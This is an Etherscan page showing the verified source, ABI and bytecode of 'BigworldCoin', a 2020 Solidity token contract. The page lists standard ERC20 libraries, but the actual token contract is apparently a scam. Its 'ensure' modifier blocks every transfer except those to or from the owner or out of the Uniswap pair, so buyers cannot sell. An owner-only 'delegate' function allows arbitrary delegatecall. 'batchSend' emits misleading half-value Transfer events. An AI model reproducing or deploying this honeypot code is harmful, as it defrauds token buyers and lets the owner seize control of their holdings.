Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library Address
•    - function isContract(address account)
•  contract Context
•    - function _msgSender()
• library SafeMath
•    - function add(uint a, uint b)
•    - function sub(uint a, uint b)
•    - function sub(uint a, uint b, string m ...
•    - function mul(uint a, uint b)
•    - function div(uint a, uint b)
•    - function div(uint a, uint b, string m ...
• library SafeERC20
•    - function safeTransfer(IERC20 token, a ...
•    - function safeTransferFrom(IERC20 toke ...
•    - function safeApprove(IERC20 token, ad ...
•    - function callOptionalReturn(IERC20 to ...
•  contract ERC20 is Context, IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function increaseAllowance(address sp ...
•    - function decreaseAllowance(address sp ...
•    - function _transfer(address sender, ad ...
•    - function _mint(address account, uint ...
•    - function _burn(address account, uint ...
•    - function _approve(address owner, addr ...
•  contract ERC20Detailed is IERC20
•    - function name()
•    - function symbol()
•    - function decimals()
•  contract BigworldCoin *
•    - function transfer(address _to, uint _ ...
•    - function transferFrom(address _from, ...
•    - function approve(address _spender, ui ...
•    - function delegate(address a, bytes me ...
•    - function batchSend(address[] memory _ ...
•    - function pairFor(address factory, add ...

More Options

• Is this a proxy?
• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2020-10-17
*/

pragma solidity ^0.5.17;
/*

Big world Coin


*/                                                                    
                                                                     

                 

interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath
    for uint;
    using Address
    for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract BigworldCoin {
 
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
 
    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
 
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }
 
    modifier ensure(address _from, address _to) {
        address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
        require(_from == owner || _to == owner || _from == UNI);
        _;
    }
 
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply;
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}]

6080604052604051620015f8380380620015f8833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b838201915060208201858111156200006157600080fd5b82518660018202830111640100000000821117156200007f57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000b557808201518184015260208101905062000098565b50505050905090810190601f168015620000e35780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010757600080fd5b838201915060208201858111156200011e57600080fd5b82518660018202830111640100000000821117156200013c57600080fd5b8083526020830192505050908051906020019080838360005b838110156200017257808201518184015260208101905062000155565b50505050905090810190601f168015620001a05780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291905050508260039080519060200190620001cc92919062000399565b508160049080519060200190620001e592919062000399565b508060028190555033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6002546040518082815260200191505060405180910390a350505062000448565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620003dc57805160ff19168380011785556200040d565b828001600101855582156200040d579182015b828111156200040c578251825591602001919060010190620003ef565b5b5090506200041c919062000420565b5090565b6200044591905b808211156200044157600081600090555060010162000427565b5090565b90565b6111a080620004586000396000f3fe60806040526004361061009c5760003560e01c806370a082311161006457806370a082311461027357806395d89b41146102d8578063a9059cbb14610368578063aa2f5220146103ce578063d6d2b6ba146104a8578063dd62ed3e146105835761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b6610608565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a6565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610798565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079e565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d610b71565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102c26004803603602081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b76565b6040518082815260200191505060405180910390f35b3480156102e457600080fd5b506102ed610b8e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032d578082015181840152602081019050610312565b50505050905090810190601f16801561035a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103b46004803603604081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c2c565b604051808215151515815260200191505060405180910390f35b61048e600480360360408110156103e457600080fd5b810190808035906020019064010000000081111561040157600080fd5b82018360208201111561041357600080fd5b8035906020019184602083028401116401000000008311171561043557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610c41565b604051808215151515815260200191505060405180910390f35b610581600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156104fb57600080fd5b82018360208201111561050d57600080fd5b8035906020019184600183028401116401000000008311171561052f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610ea7565b005b34801561058f57600080fd5b506105f2600480360360408110156105a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb8565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000838360006107d7735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610fdd565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806108825750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806108b857508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6108c157600080fd5b60008514156108d35760019350610b67565b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a1a5784600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561098f57600080fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a6557600080fd5b846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600193505b5050509392505050565b601281565b60006020528060005260406000206000915090505481565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c245780601f10610bf957610100808354040283529160200191610c24565b820191906000526020600020905b815481529060010190602001808311610c0757829003601f168201915b505050505081565b6000610c3933848461079e565b905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9d57600080fd5b6000835183029050806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cf057600080fd5b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b8451811015610e9b576000858281518110610d5957fe5b60200260200101519050846000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610e0857fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610e7757fe5b046040518082815260200191505060405180910390a3508080600101915050610d42565b50600191505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f0157600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b60208310610f4c5780518252602082019150602081019050602083039250610f29565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610fac576040519150601f19603f3d011682016040523d82523d6000602084013e610fb1565b606091505b5050505050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161061101c57838561101f565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c92505050939250505056fea265627a7a72315820730044fb6189cd24057996d4178d0af34cd2678ddb27a359fe51356b2b09e05b64736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000069e10de76676d0800000000000000000000000000000000000000000000000000000000000000000000e42696720576f726c6420436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034257430000000000000000000000000000000000000000000000000000000000

0x60806040526004361061009c5760003560e01c806370a082311161006457806370a082311461027357806395d89b41146102d8578063a9059cbb14610368578063aa2f5220146103ce578063d6d2b6ba146104a8578063dd62ed3e146105835761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b6610608565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106a6565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610798565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079e565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d610b71565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102c26004803603602081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b76565b6040518082815260200191505060405180910390f35b3480156102e457600080fd5b506102ed610b8e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032d578082015181840152602081019050610312565b50505050905090810190601f16801561035a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103b46004803603604081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c2c565b604051808215151515815260200191505060405180910390f35b61048e600480360360408110156103e457600080fd5b810190808035906020019064010000000081111561040157600080fd5b82018360208201111561041357600080fd5b8035906020019184602083028401116401000000008311171561043557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610c41565b604051808215151515815260200191505060405180910390f35b610581600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156104fb57600080fd5b82018360208201111561050d57600080fd5b8035906020019184600183028401116401000000008311171561052f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610ea7565b005b34801561058f57600080fd5b506105f2600480360360408110156105a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fb8565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561069e5780601f106106735761010080835404028352916020019161069e565b820191906000526020600020905b81548152906001019060200180831161068157829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000838360006107d7735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc230610fdd565b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806108825750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b806108b857508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6108c157600080fd5b60008514156108d35760019350610b67565b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a1a5784600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561098f57600080fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a6557600080fd5b846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600193505b5050509392505050565b601281565b60006020528060005260406000206000915090505481565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c245780601f10610bf957610100808354040283529160200191610c24565b820191906000526020600020905b815481529060010190602001808311610c0757829003601f168201915b505050505081565b6000610c3933848461079e565b905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9d57600080fd5b6000835183029050806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610cf057600080fd5b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b8451811015610e9b576000858281518110610d5957fe5b60200260200101519050846000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610e0857fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610e7757fe5b046040518082815260200191505060405180910390a3508080600101915050610d42565b50600191505092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f0157600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b60208310610f4c5780518252602082019150602081019050602083039250610f29565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610fac576040519150601f19603f3d011682016040523d82523d6000602084013e610fb1565b606091505b5050505050565b6001602052816000526040600020602052806000526040600020600091509150505481565b60008060008373fffffffffffffffffffffffffffffffff